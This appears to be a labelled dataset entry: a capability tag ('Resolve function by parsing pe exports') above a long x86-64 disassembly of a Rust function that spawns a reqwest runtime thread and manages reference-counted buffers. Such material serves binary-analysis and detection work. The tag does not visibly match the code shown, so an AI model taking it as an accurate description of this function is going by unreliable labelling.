Function at 0x1400421e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x9e8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x950], xmm6
mov qword [rbp + 0x948], 0xfffffffffffffffe
mov r12, r8
mov rbx, rdx
mov qword [rbp + 0x640], rcx
lea rcx, [rbp + 0x650]
call fcn.1400c1060
mov qword [rbp + 0x7e8], 0x1e
mov dword [rbp + 0x7f0], 0
movzx eax, byte [0x140196310]
mov edx, 0x2320
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044b60
mov rsi, rax
xorps xmm6, xmm6
movups xmmword [rax + 0x2310], xmm6
movups xmmword [rax + 0x2300], xmm6
movzx eax, byte [0x140196310]
mov edx, 0x280
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044b9a
mov rdi, rax
mov qword [rbp + 0x8e0], rbx
and rdi, 0xffffffffffffff80
mov qword [rdi + 0x78], rax
mov qword [rdi + 0x80], 1
mov qword [rdi + 0x88], 1
mov qword [rdi + 0x100], rsi
mov qword [rdi + 0x108], 0
mov qword [rdi + 0x180], 0
mov qword [rdi + 0x190], 0
movaps xmmword [rdi + 0x200], xmm6
movaps xmmword [rdi + 0x210], xmm6
mov qword [rdi + 0x220], rsi
mov qword [rdi + 0x228], rsi
mov qword [rdi + 0x230], 0
mov byte [rdi + 0x238], 0
mov qword [rdi + 0x240], 0
mov qword [rdi + 0x248], 1
lock inc qword [rdi + 0x80]
jle case.0x140045dfa.2
movzx eax, byte [0x140196310]
mov edx, 0x48
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044ba9
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov qword [rax + 0x40], 0
lock inc qword [rax]
jle case.0x140045dfa.2
movzx eax, byte [0x140196310]
mov edx, 0x1d
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044bb8
mov rsi, rax
movups xmm0, xmmword [0x14015590d]
movups xmmword [rax + 0xd], xmm0
movdqu xmm0, xmmword [str.reqwest_internal_sync_runtimecore_thread_exited_early]
movdqu xmmword [rax], xmm0
mov rax, qword [0x1401962e0]
test rax, rax
je 0x1400423cf
dec rax
lea r9, [rsi + 7]
and r9, 0xfffffffffffffff8
sub r9, rsi
jne 0x14004246e
xor r9d, r9d
jmp 0x140042482
lea rdx, str.RUST_MIN_STACKthread_name_may_not_contain_interior_null_bytes
lea rcx, [rbp + 0x230]
mov r8d, 0xe
call fcn.1400ea600
mov r15, qword [rbp + 0x230]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x140042405
mov eax, 0x200000
jmp 0x140042452
mov r14, qword [rbp + 0x238]
mov r8, qword [rbp + 0x240]
lea rcx, [rbp + 0x380]
mov rdx, r14
call fcn.140009e90
cmp qword [rbp + 0x380], 0
je 0x140042ca4
mov eax, 0x200000
test r15, r15
je 0x140042452
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r14
mov r14, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, r14
lea rcx, [rax + 1]
mov qword [0x1401962e0], rcx
lea r9, [rsi + 7]
and r9, 0xfffffffffffffff8
sub r9, rsi
je 0x1400423c7
xor ecx, ecx
cmp byte [rsi + rcx], 0
je 0x140044ab4
inc rcx
cmp r9, rcx
jne 0x140042470
sub rdi, 0xffffffffffffff80
mov rdx, r9
or rdx, 0x10
movdqu xmm0, xmmword [rsi + r9]
movdqa xmm1, xmmword [0x140126700]
paddq xmm1, xmm0
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rcx, xmm1
movabs r8, 0x8080808080808080
test rcx, r8
cmovne rdx, r9
mov r9, rsi
add r9, rdx
mov r8d, 0x1d
sub r8, rdx
xor ecx, ecx
nop word cs:[rax + rax]
cmp byte [r9 + rcx], 0
je 0x140044ab1
inc rcx
cmp r8, rcx
jne 0x1400424e0
mov qword [rbp + 0x930], rax
mov qword [rbp + 0x8d8], r12
mov qword [rbp + 0x230], 0x1d
mov qword [rbp + 0x238], rsi
mov qword [rbp + 0x240], 0x1d
lea rcx, [rbp + 0x230]
call fcn.1400067d0
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x240], rdx
mov qword [rbp + 0x230], 1
lea rcx, [rbp + 0x230]
call fcn.1400e4450
lock inc qword [rax]
jle case.0x140045dfa.2
mov r13, rax
movzx eax, byte [0x140196310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044d85
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
mov qword [rbp + 0x230], rax
lock inc qword [rax]
jle case.0x140045dfa.2
movzx eax, byte [0x1401961d8]
test al, al
je 0x14004266e
mov byte [0x1401961d8], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x88]
cmp rax, 1
jne 0x140042ee7
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x90]
mov qword [rax + 0x90], 0
test rcx, rcx
je 0x14004266e
lock inc qword [rcx]
jle case.0x140045dfa.2
mov qword [rbp + 0x938], rcx
mov byte [0x1401961d8], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x88]
test rax, rax
je 0x1400426d5
cmp eax, 1
je 0x1400426da
mov rax, qword [rbp + 0x938]
lock dec qword [rax]
jne 0x140044b6f
mov rcx, qword [rbp + 0x938]
call fcn.1400ef2c0
jmp 0x140044b6f
movzx eax, byte [0x1401961d8]
test al, al
je 0x1400426ce
mov byte [0x1401961d8], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x88]
cmp rax, 1
jne 0x14004311a
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x90]
mov qword [rax + 0x90], 0
xor r12d, r12d
jmp 0x140042702
xor ecx, ecx
xor r12d, r12d
jmp 0x140042702
call fcn.140123450
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x90]
mov r12, qword [rbp + 0x938]
mov qword [rax + 0x90], r12
test rcx, rcx
je 0x140042712
lock dec qword [rcx]
jne 0x140042712
call fcn.1401030c0
mov r15, qword [rbp + 0x230]
mov rcx, qword [r15 + 0x10]
test rcx, rcx
je 0x14004272d
lock inc qword [rcx + 0x18]
jle 0x140044bee
movzx eax, byte [0x140196310]
mov edx, 0x1c0
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044bc7
mov r14, rax
mov qword [rax], r13
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r12
mov rcx, rax
add rcx, 0x18
lea rdx, [rbp + 0x650]
mov r8d, 0x198
call fcn.140118560
mov qword [r14 + 0x1b0], rdi
mov qword [r14 + 0x1b8], rbx
lea r8, [0x140155148]
mov rcx, qword [rbp + 0x930]
mov rdx, r14
call fcn.1400f0790
mov r14, rdx
test rax, rax
je 0x140042869
lock dec qword [r15]
jne 0x1400427b2
lea rcx, [rbp + 0x230]
call fcn.140102a10
lock dec qword [r13]
jne 0x1400427c1
mov rcx, r13
call fcn.140053bd0
movzx eax, byte [0x140196310]
mov edx, 8
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044d94
mov rsi, rax
mov qword [rax], r14
movzx eax, byte [0x140196310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140045d2f
mov r14, rax
movabs rax, 0x8000000000000000
mov qword [r14], rax
mov qword [r14 + 0x58], rsi
lea rax, [0x140153588]
mov qword [r14 + 0x60], rax
mov word [r14 + 0x68], 0
mov rax, qword [rbx + 0x40]
nop dword [rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140042830
and eax, 0xa
cmp eax, 8
jne 0x140042852
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
call qword [rax + 0x10]
lock dec qword [rbx]
jne 0x140042bbc
mov rcx, rbx
call fcn.140081bb0
jmp 0x140042bbc
mov qword [rbp + 0x548], r13
mov qword [rbp + 0x550], r15
mov qword [rbp + 0x930], r14
mov qword [rbp + 0x558], r14
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xb8]
test eax, eax
mov r12, r13
je 0x1400428b0
cmp eax, 1
je 0x1400428dd
jmp 0x140044bd6
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xb0]
lea rdx, [0x1400e5c80]
call fcn.1400e5cb0
mov byte [rsi + 0xb8], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xb0]
test r14, r14
je 0x14004312d
lock inc qword [r14]
jle case.0x140045dfa.2
test r14, r14
je 0x140044bd6
movzx eax, byte [0x140196310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044bf7
mov rsi, rax
mov qword [rsi], 1
mov qword [rsi + 8], 1
add rsi, 0x10
mov qword [rax + 0x10], r14
lea r15, [0x1400b22a0]
jmp 0x14004295f
mov rcx, rsi
call fcn.14004d990
call fcn.1400e7d40
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x140042a10
cmp eax, 1
je 0x1400429b1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
mov rdx, r15
call fcn.1400e5cb0
mov byte [r14 + 0x120], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx r14d, byte [rax + 0x11d]
mov eax, r14d
test r13b, r13b
je 0x1400429e9
test r14b, r14b
je 0x140042952
lea eax, [r14 - 1]
mov ecx, dword [0x140196314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11d], al
mov rax, qword [rbx + 0x40]
test al, 2
je 0x140042a22
jmp 0x140042b47
xor r13d, r13d
xor r14d, r14d
mov rax, qword [rbx + 0x40]
test al, 2
jne 0x140042b47
test al, 4
jne 0x140044b03
test al, 1
jne 0x140042a40
test al, 1
je 0x140042a82
jmp 0x140042ab7
cmp qword [rbx + 0x38], rsi
jne 0x140042a53
lea rcx, case.0x1400cf68b.61
cmp qword [rbx + 0x30], rcx
je 0x140042a2e
mov rax, qword [rbx + 0x40]
nop word [rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140042a60
test al, 2
jne 0x140042b41
mov rax, qword [rbx + 0x30]
mov rcx, qword [rbx + 0x38]
call qword [rax + 0x18]
mov rcx, rsi
call case.0x1400cf68b.61
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rdx
mov rax, qword [rbx + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140042aa0
test al, 2
jne 0x140042b47
test r13b, r13b
je 0x14004295a
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004295a
cmp eax, 1
je 0x140042b16
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
lea rdx, [0x1400ffb50]
call fcn.1400e5cb0
mov byte [r13 + 0x120], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], r14b
call fcn.1400e7d40
jmp 0x14004295f
lock or qword [rbx + 0x40], 1
mov rax, qword [rbx + 0x10]
mov r14, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
xor rax, 1
dec rax
cmp rax, 2
jb 0x140044b03
lock dec qword [rbx]
jne 0x140042b76
mov rcx, rbx
call fcn.140081bb0
mov rcx, rsi
call fcn.14004d8f0
test r14, r14
je 0x140042bff
mov rcx, qword [rbp + 0x930]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [r12]
jne 0x140042ba3
mov rcx, qword [rbp + 0x548]
call fcn.140053bd0
mov rax, qword [rbp + 0x550]
lock dec qword [rax]
jne 0x140042bbc
lea rcx, [rbp + 0x550]
call fcn.140102a10
mov rcx, rdi
call fcn.140094e90
lock dec qword [rdi]
jne 0x140042bd2
mov rcx, rdi
call fcn.140081810
mov rax, qword [rbp + 0x640]
mov qword [rax + 8], r14
mov qword [rax], 3
movaps xmm6, xmmword [rbp + 0x950]
add rsp, 0x9e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx eax, byte [0x140196310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044d85
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov rax, qword [rbp + 0x558]
mov qword [rsi + 0x28], rax
movups xmm0, xmmword [rbp + 0x548]
movups xmmword [rsi + 0x18], xmm0
mov qword [rbp + 0x4b8], rsi
mov qword [rbp + 0x4c0], 0x1e
mov dword [rbp + 0x4c8], 0
lea rcx, [rbp + 0x650]
mov rdx, qword [rbp + 0x8e0]
mov r8, qword [rbp + 0x8d8]
call fcn.1400c0e70
mov rax, qword [rbp + 0x650]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x140042ce5
mov ecx, 2
mov rdx, qword [rbp + 0x658]
jmp 0x140042d47
mov r8, qword [rbp + 0x390]
test r8, r8
je 0x140042430
mov rcx, qword [rbp + 0x388]
cmp r8, 1
jne 0x1400430b9
movzx eax, byte [rcx]
cmp eax, 0x2b
je 0x140042430
mov r8d, 1
cmp eax, 0x2d
je 0x140042430
jmp 0x140043666
mov rcx, qword [rbp + 0x6a0]
mov qword [rbp + 0x168], rcx
movups xmm0, xmmword [rbp + 0x690]
movups xmmword [rbp + 0x158], xmm0
movups xmm0, xmmword [rbp + 0x650]
movdqu xmm1, xmmword [rbp + 0x660]
movups xmm2, xmmword [rbp + 0x670]
movups xmm3, xmmword [rbp + 0x680]
movups xmmword [rbp + 0x148], xmm3
movups xmmword [rbp + 0x138], xmm2
movdqu xmmword [rbp + 0x128], xmm1
movups xmmword [rbp + 0x118], xmm0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x100], xmm0
xor ecx, ecx
lock inc qword [rsi]
jle case.0x140045dfa.2
mov dword [rbp + 0x324], 0
mov dword [rbp + 0x321], 0
mov qword [rbp + 0x368], rsi
mov qword [rbp + 0x370], 0x1e
mov dword [rbp + 0x378], 0
mov qword [rbp + 0x230], rcx
mov qword [rbp + 0x238], rdx
mov qword [rbp + 0x258], 0
mov qword [rbp + 0x270], 0
mov qword [rbp + 0x278], 8
movaps xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], 8
mov qword [rbp + 0x298], 0
mov qword [rbp + 0x2a0], 2
mov qword [rbp + 0x2a8], 0
mov word [rbp + 0x2b0], 0
movups xmm0, xmmword [rbp + 0x160]
movups xmmword [rbp + 0x300], xmm0
movups xmm0, xmmword [rbp + 0x152]
movups xmmword [rbp + 0x2f2], xmm0
movdqu xmm0, xmmword [rbp + 0x112]
movdqu xmm1, xmmword [rbp + 0x122]
movups xmm2, xmmword [rbp + 0x132]
movups xmm3, xmmword [rbp + 0x142]
movups xmmword [rbp + 0x2e2], xmm3
movups xmmword [rbp + 0x2d2], xmm2
movdqu xmmword [rbp + 0x2c2], xmm1
movdqu xmmword [rbp + 0x2b2], xmm0
mov dword [rbp + 0x318], 0x3b9aca00
mov byte [rbp + 0x320], 1
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x328], xmm0
mov byte [rbp + 0x338], 2
mov qword [rbp + 0x340], 2
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140042eaf
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x380]
call fcn.1400c50e0
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x380], rax
jne 0x140042efa
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x230]
mov r8d, 0x150
call fcn.140118560
mov rax, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x48]
cmp rax, 2
jne 0x140042fa2
mov rax, qword [rbp + 0x640]
mov qword [rax + 8], rdi
jmp 0x140046246
test rax, rax
jne 0x140044b6f
call fcn.140123450
jmp 0x1400425de
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x530], rax
movdqu xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x520], xmm0
lea rsi, [rbp + 0x398]
lea rcx, [rbp + 0x650]
lea rdx, [rbp + 0x230]
mov r8d, 0x150
call fcn.140118560
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x520]
mov r8, rsi
call fcn.14007a440
cmp dword [rbp + 0x650], 2
jne 0x14004315b
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x650]
mov r8d, 0x150
call fcn.140118560
lea rcx, [rbp + 0x818]
mov rax, qword [rbp + 0x800]
mov rdx, qword [rbp + 0x808]
mov r8, qword [rbp + 0x810]
call qword [rax + 0x10]
mov rax, qword [rbp - 0x50]
mov rdi, qword [rbp - 0x48]
cmp rax, 2
je 0x140042ed7
mov qword [rbp + 0x930], rax
mov rsi, qword [rbp + 0xc0]
mov rbx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x830], rax
mov r13, qword [rbp + 0xd8]
mov r14, qword [rbp + 0xe0]
movzx eax, byte [0x140196310]
mov edx, 0xd0
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044c18
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov qword [rax + 0x38], 4
lock inc qword [rax]
jle case.0x140045dfa.2
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x930]
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x658], rdi
lea rcx, [rbp + 0x660]
mov r8d, 0x100
call fcn.140118560
cmp rsi, 2
mov qword [rbp + 0x4e0], rbx
jne 0x14004305e
mov r13d, 2
jmp 0x140043ab2
test rsi, rsi
mov qword [rbp + 0x630], r15
je 0x14004343d
movdqu xmm0, xmmword [rbp + 0x580]
movdqu xmm1, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x900], xmm0
movdqa xmmword [rbp + 0x910], xmm1
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x920], rax
mov edi, 2
mov rdx, r13
mov r12, r14
mov r15, r13
mov r13, qword [rbp + 0x830]
mov rsi, rbx
jmp 0x140043547
cmp byte [rcx], 0x2b
jne 0x14004365c
inc rcx
lea rax, [r8 - 1]
cmp r8, 0x12
mov r8, rax
jb 0x140043666
xor r9d, r9d
mov r10d, 0xa
xor eax, eax
cmp r8, r9
je 0x140042435
mul r10
seto r11b
movzx edx, byte [rcx + r9]
add edx, 0xffffffd0
cmp edx, 9
ja 0x140042430
test r11b, r11b
jne 0x140042430
mov edx, edx
inc r9
add rax, rdx
jae 0x1400430e1
jmp 0x140042430
test rax, rax
jne 0x140044b6f
call fcn.140123450
jmp 0x1400426a4
call fcn.140122e70
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xb0]
lock inc qword [r14]
jg 0x14004290a
jmp case.0x140045dfa.2
movups xmm0, xmmword [0x140157120]
movaps xmmword [rbp + 0x880], xmm0
movups xmm0, xmmword [0x140157110]
movaps xmmword [rbp + 0x870], xmm0
mov rax, qword [rbp + 0x820]
mov qword [rbp + 0x510], rax
movdqu xmm0, xmmword [rbp + 0x800]
movdqu xmm1, xmmword [rbp + 0x810]
movdqa xmmword [rbp + 0x500], xmm1
movdqa xmmword [rbp + 0x4f0], xmm0
movdqa xmmword [rbp + 0x910], xmm1
movdqa xmmword [rbp + 0x900], xmm0
mov eax, dword [rbp + 0x511]
mov ecx, dword [rbp + 0x514]
mov dword [rbp + 0x921], eax
mov dword [rbp + 0x924], ecx
lea rsi, [rbp + 0x678]
mov byte [rbp + 0x920], 1
mov rcx, rsi
call fcn.14002c950
test al, al
jne 0x140044c68
lea rdx, [rbp + 0x870]
mov rcx, rsi
call fcn.14002c440
mov r9d, eax
movzx r12d, word [rbp + 0x6d0]
mov ebx, r9d
and ebx, r12d
mov r14, qword [rbp + 0x6c8]
mov r13, qword [rbp + 0x6c0]
mov r8, qword [rbp + 0x698]
mov r10, qword [rbp + 0x6a0]
mov r11, qword [rbp + 0x870]
mov rax, qword [rbp + 0x878]
mov qword [rbp + 0x8c8], rax
movzx eax, byte [rbp + 0x878]
mov byte [rbp + 0x8e0], al
mov rax, qword [rbp + 0x880]
mov qword [rbp + 0x930], rax
xor edi, edi
mov dword [rbp + 0x8d8], r9d
mov qword [rbp + 0x938], r10
mov qword [rbp + 0x8b8], r8
mov qword [rbp + 0x8c0], r11
jmp 0x140043296
movzx ecx, byte [rbp + 0x8e0]
cmp byte [rax + 8], cl
je 0x140043360
nop word [rax + rax]
inc rdi
inc rbx
mov rax, rbx
nop dword [rax]
mov rbx, rax
mov eax, 0
cmp rbx, r14
jae 0x1400432a0
movzx r15d, word [r13 + rbx*4]
cmp r15, 0xffff
je 0x140043698
movzx eax, word [r13 + rbx*4 + 2]
mov ecx, r12d
and ecx, eax
mov edx, ebx
sub edx, ecx
and edx, r12d
cmp rdx, rdi
jb 0x140043861
cmp ax, r9w
jne 0x140043290
cmp r10, r15
jbe 0x140044c06
test r11, r11
sete al
imul rsi, r15, 0x68
mov rcx, qword [r8 + rsi + 0x40]
test rcx, rcx
setne dl
cmp dl, al
je 0x140043290
lea rax, [r8 + rsi]
add rax, 0x40
test rcx, rcx
je 0x140043277
mov rcx, qword [rbp + 0x930]
cmp qword [rax + 0x10], rcx
jne 0x140043290
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x8c8]
mov r8, qword [rbp + 0x930]
call fcn.140118fa0
mov r11, qword [rbp + 0x8c0]
mov r8, qword [rbp + 0x8b8]
mov r10, qword [rbp + 0x938]
mov r9d, dword [rbp + 0x8d8]
test eax, eax
jne 0x140043290
lea rdi, [r8 + rsi]
lea rcx, [rbp + 0x6a8]
mov rax, qword [rbp + 0x920]
mov qword [rbp + 0x5a0], rax
movaps xmm0, xmmword [rbp + 0x900]
movaps xmm1, xmmword [rbp + 0x910]
movaps xmmword [rbp + 0x590], xmm1
movaps xmmword [rbp + 0x580], xmm0
cmp qword [r8 + rsi], 0
je 0x140044a07
mov rsi, qword [rdi + 0x10]
mov rbx, qword [rbp + 0x6b8]
cmp rbx, qword [rbp + 0x6a8]
jne 0x1400433b9
call fcn.1400703f0
mov rax, qword [rbp + 0x6b0]
lea rcx, [rbx + rbx*8]
mov qword [rax + rcx*8], 1
mov qword [rax + rcx*8 + 8], rsi
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], r15
movdqa xmm0, xmmword [rbp + 0x580]
movdqa xmm1, xmmword [rbp + 0x590]
movdqu xmmword [rax + rcx*8 + 0x20], xmm0
movdqu xmmword [rax + rcx*8 + 0x30], xmm1
mov rdx, qword [rbp + 0x5a0]
mov qword [rax + rcx*8 + 0x40], rdx
lea rdx, [rbx + 1]
mov qword [rbp + 0x6b8], rdx
cmp rsi, rdx
jae 0x140044d6d
lea rcx, [rsi + rsi*8]
mov qword [rax + rcx*8 + 0x10], 1
mov qword [rax + rcx*8 + 0x18], rbx
mov qword [rdi], 1
mov qword [rdi + 0x10], rbx
jmp 0x140044a84
mov qword [rbp + 0x838], r13
lea rcx, [rbp + 0x230]
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
call fcn.140034880
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0x5a0], rax
movups xmm0, xmmword [rbp + 0x230]
movups xmm1, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x590], xmm1
movaps xmmword [rbp + 0x580], xmm0
movups xmm0, xmmword [rbp + 0x258]
movaps xmmword [rbp + 0x380], xmm0
movups xmm0, xmmword [rbp + 0x268]
movaps xmmword [rbp + 0x390], xmm0
movups xmm0, xmmword [rbp + 0x278]
movaps xmmword [rbp + 0x3a0], xmm0
movzx eax, byte [0x140196310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400f0c90
test rax, rax
je 0x140044d85
mov r13, rax
movaps xmm0, xmmword [rbp + 0x380]
movaps xmm1, xmmword [rbp + 0x390]
movaps xmm2, xmmword [rbp + 0x3a0]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movdqa xmm0, xmmword [rbp + 0x580]
movdqa xmm1, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x900], xmm0
movdqa xmmword [rbp + 0x910], xmm1
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x920], rax
lea r15, [0x140153170]
xor r12d, r12d
mov rdx, r14
mov rax, qword [rbp + 0x838]
mov rdi, rax
mov esi, 0
test rax, rax
mov rax, qword [rbp + 0x930]
je 0x140043626
mov qword [rbp + 0x930], r13
mov r13, rsi
mov rsi, r15
mov r15, r12
mov r12, r14
lea rbx, [rbp + 0x678]
lea r14, [rbp + 0x380]
mov rcx, r14
call fcn.140025dd0
movups xmm0, xmmword [0x1401526e0]
movaps xmmword [rbp + 0x590], xmm0
movdqu xmm0, xmmword [0x1401526d0]
movdqa xmmword [rbp + 0x580], xmm0
lea rcx, [rbp + 0x230]
lea r8, [rbp + 0x580]
mov rdx, rbx
mov r9, r14
call fcn.14009e470
cmp byte [rbp + 0x250], 3
je 0x140044c5c
mov rax, qword [rbp + 0x250]
mov qword [rbp + 0x5a0], rax
movdqu xmm0, xmmword [rbp + 0x230]
movdqu xmm1, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x590], xmm1
movdqa xmmword [rbp + 0x580], xmm0
cmp al, 2
je 0x140043605
lea rcx, [rbp + 0x598]
mov rax, qword [rbp + 0x580]
mov rdx, qword [rbp + 0x588]
mov r8, qword [rbp + 0x590]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x838], rdi
mov r14, r12
mov r12, r15
mov r15, rsi
mov rsi, r13
mov r13, qword [rbp + 0x930]
test rax, rax
je 0x140043a71
mov rax, qword [rbp + 0x658]
test rax, rax
je 0x1400437e5
lea rcx, [rbp + 0x670]
mov rdx, qword [rbp + 0x660]
mov r8, qword [rbp + 0x668]
call qword [rax + 0x10]
jmp 0x140043a71
cmp r8, 0x11
jae 0x1400430d6
xor r10d, r10d
xor eax, eax
nop dword [rax + rax]
movzx edx, byte [rcx + r10]
add edx, 0xffffffd0
cmp edx, 9
ja 0x140042430
lea r9, [rax + rax*4]
mov edx, edx
lea rax, [rdx + r9*2]
inc r10
cmp r8, r10
jne 0x140043670
jmp 0x140042435
movaps xmm0, xmmword [rbp + 0x870]
movaps xmm1, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x850], xmm1
movaps xmmword [rbp + 0x840], xmm0
mov rax, qword [rbp + 0x920]
mov qword [rbp + 0x1c0], rax
movdqa xmm0, xmmword [rbp + 0x900]
movdqa xmm1, xmmword [rbp + 0x910]
movdqa xmmword [rbp + 0x1b0], xmm1
movdqa xmmword [rbp + 0x1a0], xmm0
cmp r10, 0x7fff
ja 0x140044caa
movaps xmm0, xmmword [rbp + 0x870]
movaps xmm1, xmmword [rbp + 0x880]
movaps xmmword [rbp + 0x8a0], xmm1
movaps xmmword [rbp + 0x890], xmm0
movaps xmm0, xmmword [rbp + 0x900]
movaps xmm1, xmmword [rbp + 0x910]
movaps xmmword [rbp + 0x580], xmm0
movaps xmmword [rbp + 0x590], xmm1
mov rax, qword [rbp + 0x920]
mov qword [rbp + 0x5a0], rax
cmp r10, qword [rbp + 0x690]
jne 0x140043764
lea rcx, [rbp + 0x690]
mov esi, r9d
mov rdi, r10
call fcn.1400704b0
mov r10, rdi
mov r9d, esi
mov r8, qword [rbp + 0x698]
mov r14, qword [rbp + 0x6c8]
imul rax, r10, 0x68
mov qword [r8 + rax], 0
movaps xmm0, xmmword [rbp + 0x580]
movaps xmm1, xmmword [rbp + 0x590]
movups xmmword [r8 + rax + 0x18], xmm0
movups xmmword [r8 + rax + 0x28], xmm1
mov rcx, qword [rbp + 0x5a0]
mov qword [r8 + rax + 0x38], rcx
movdqa xmm0, xmmword [rbp + 0x890]
movdqa xmm1, xmmword [rbp + 0x8a0]
movdqu xmmword [r8 + rax + 0x40], xmm0
movdqu xmmword [r8 + rax + 0x50], xmm1
mov word [r8 + rax + 0x60], r9w
lea rax, [r10 + 1]
mov qword [rbp + 0x6a0], rax
cmp rbx, r14
jae 0x140044d5b
mov rax, qword [rbp + 0x6c0]
mov word [rax + rbx*4], r10w
mov word [rax + rbx*4 + 2], r9w
jmp 0x140043a31
mov rbx, qword [rbp + 0x660]
mov rdi, qword [rbp + 0x668]
